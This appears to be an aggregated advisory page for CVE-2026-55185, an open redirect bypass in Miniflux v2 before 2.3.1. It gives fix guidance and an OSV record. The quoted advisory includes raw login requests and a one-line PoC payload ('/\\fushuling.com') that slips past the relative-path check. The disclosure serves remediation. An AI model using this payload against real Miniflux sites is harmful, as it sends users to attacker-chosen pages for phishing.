CVE-2026-55185: Miniflux.app/v2 Open Redirect Bypass Vulnerability

Q: What is CVE-2026-55185?

CVE-2026-55185 is a security vulnerability in Miniflux.app/v2 involving Open Redirect Bypass in miniflux-v2 under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').

Q: Which Miniflux.app/v2 versions are affected?

Affected versions include releases prior to 2.3.1 across affected packages: miniflux.app/v2.

Q: What version fixes CVE-2026-55185?

Upgrading to 2.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is miniflux.app/v2 affected?

Yes, miniflux.app/v2 is affected in releases prior to 2.3.1. Upgrade your dependency to 2.3.1 or later.

Q: What CWE is associated with CVE-2026-55185?

CVE-2026-55185 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).

Q: How can I check Go dependencies for CVE-2026-55185?

Run the dependency tree command: 'inspect dependencies for miniflux.app/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

MODERATE

Advisory Identifier: GHSA-m999-j542-5w3r

CWE-601

Published 2026-06-19

Advisory Summary

CVE-2026-55185 is a MODERATE open redirect bypass vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Miniflux.app/v2 libraries in the Go ecosystem. The issue involves open redirect bypass in miniflux-v2. Remediation is available by upgrading affected packages to version 2.3.1.

CVE-2026-55185 at a Glance

CVE Identifier CVE-2026-55185

GHSA Identifier GHSA-m999-j542-5w3r

Severity MODERATE

CVSS v3.1 Base Score N/A

CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Affected Product Miniflux.app/v2

Package Ecosystem Go

Published Date 2026-06-19

Last Updated 2026-06-19

How to Fix CVE-2026-55185

To remediate this vulnerability, upgrade all affected Miniflux.app/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

miniflux.app/v2 fixed: 2.3.1

Upgrade miniflux.app/v2 to 2.3.1

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for miniflux.app/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55185, inspect your project dependencies for Miniflux.app/v2:

inspect dependencies for miniflux.app/v2

Analyze the terminal output to locate any version of Miniflux.app/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Miniflux.app/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability. ### Details Normally, the redirect URL needs to be validated using `IsRelativePath`. <img width="1728" height="1386" alt="QQ20260526-175356-26-1" src="https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03" /> There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed. <img width="1911" height="804" alt="QQ20260526-175836-26-2" src="https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6" /> For a proof-of-concept (PoC) like `/\fushuling.com`, it lacks host and netloc fields and doesn't start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections. For PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45 Connection: close csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123 ``` <img width="1773" height="894" alt="QQ20260526-180410-26-3" src="https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b" /> However, when the attacker specified the redirect URL as `/\fushuling.com`, the URL successfully bypassed the detection and set the location to /\fushuling.com. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5 Connection: close csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123 ``` <img width="1629" height="887" alt="QQ20260526-180606-26-4" src="https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546" /> In the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack. <img width="1082" height="621" alt="QQ20260526-180711-26-5" src="https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253" /> ### PoC ``` /\fushuling.com ``` ### Impact Open Redirect

CVE-2026-55185 Affected Miniflux.app/v2 Versions

1 component(s)

Fixed Versions:

2.3.1

Product / Package	Ecosystem	Affected Versions	Fixed Version
miniflux.app/v2 golang/miniflux.app/v2	Go	< 2.3.1	2.3.1

References

GitHub Advisory / Wiki ADVISORY

https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r

Miniflux.app/v2 Source Repository REPOSITORY

https://github.com/miniflux/v2

Frequently Asked Questions

What is CVE-2026-55185?

CVE-2026-55185 is a security vulnerability in Miniflux.app/v2 involving Open Redirect Bypass in miniflux-v2 under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').

Which Miniflux.app/v2 versions are affected?

Affected versions include releases prior to 2.3.1 across affected packages: miniflux.app/v2.

What version fixes CVE-2026-55185?

Upgrading to 2.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.

Is miniflux.app/v2 affected?

Yes, miniflux.app/v2 is affected in releases prior to 2.3.1. Upgrade your dependency to 2.3.1 or later.

What CWE is associated with CVE-2026-55185?

CVE-2026-55185 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).

How can I check Go dependencies for CVE-2026-55185?

Run the dependency tree command: 'inspect dependencies for miniflux.app/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m999-j542-5w3r",
  "modified" : "2026-06-19T21:16:13Z",
  "published" : "2026-06-19T21:16:13Z",
  "aliases" : [ "CVE-2026-55185" ],
  "summary" : "Open Redirect Bypass in miniflux-v2",
  "details" : "### Summary\nThe URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability.\n\n### Details\n\nNormally, the redirect URL needs to be validated using `IsRelativePath`.\n\n<img width=\"1728\" height=\"1386\" alt=\"QQ20260526-175356-26-1\" src=\"https://github.com/user-attachments/assets/b481845a-8744-41f7-b27a-526c7ac92e03\" />\n\nThere are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed.\n\n<img width=\"1911\" height=\"804\" alt=\"QQ20260526-175836-26-2\" src=\"https://github.com/user-attachments/assets/90353c7f-7247-4453-a781-159361de13d6\" />\n\nFor a proof-of-concept (PoC) like `/\\fushuling.com`, it lacks host and netloc fields and doesn't start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections.\n\nFor PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks.\n\n```\nPOST /login HTTP/1.1\nHost: 127.0.0.1:8081\nContent-Length: 92\nCache-Control: max-age=0\nsec-ch-ua: \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: null\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45\nConnection: close\n\ncsrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123\n```\n\n<img width=\"1773\" height=\"894\" alt=\"QQ20260526-180410-26-3\" src=\"https://github.com/user-attachments/assets/19e532ad-e366-4eb8-a08e-7b1de02edc7b\" />\n\nHowever, when the attacker specified the redirect URL as `/\\fushuling.com`, the URL successfully bypassed the detection and set the location to /\\fushuling.com.\n\n```\nPOST /login HTTP/1.1\nHost: 127.0.0.1:8081\nContent-Length: 92\nCache-Control: max-age=0\nsec-ch-ua: \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: null\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5\nConnection: close\n\ncsrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\\fushuling.com&username=admin&password=test123\n```\n<img width=\"1629\" height=\"887\" alt=\"QQ20260526-180606-26-4\" src=\"https://github.com/user-attachments/assets/efe78aca-06ef-4369-83b7-0d7119ac2546\" />\n\nIn the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack.\n\n<img width=\"1082\" height=\"621\" alt=\"QQ20260526-180711-26-5\" src=\"https://github.com/user-attachments/assets/0b486f09-8a9b-4d38-8350-d7ca5c51c253\" />\n\n\n### PoC\n```\n/\\fushuling.com\n```\n\n### Impact\nOpen Redirect",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "miniflux.app/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/miniflux/v2/security/advisories/GHSA-m999-j542-5w3r"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/miniflux/v2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:16:13Z",
    "nvd_published_at" : null
  }
}

CVSS V4

N/A MODERATE

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-m999-j542-5w3r
Schema Version: 1.4.0
Published: 2026-06-19 21:16
Last Modified: 2026-06-19 21:16
Database Record File: advisories/github-reviewed/2026/06/GHSA-m999-j542-5w3r/GHSA-m999-j542-5w3r.json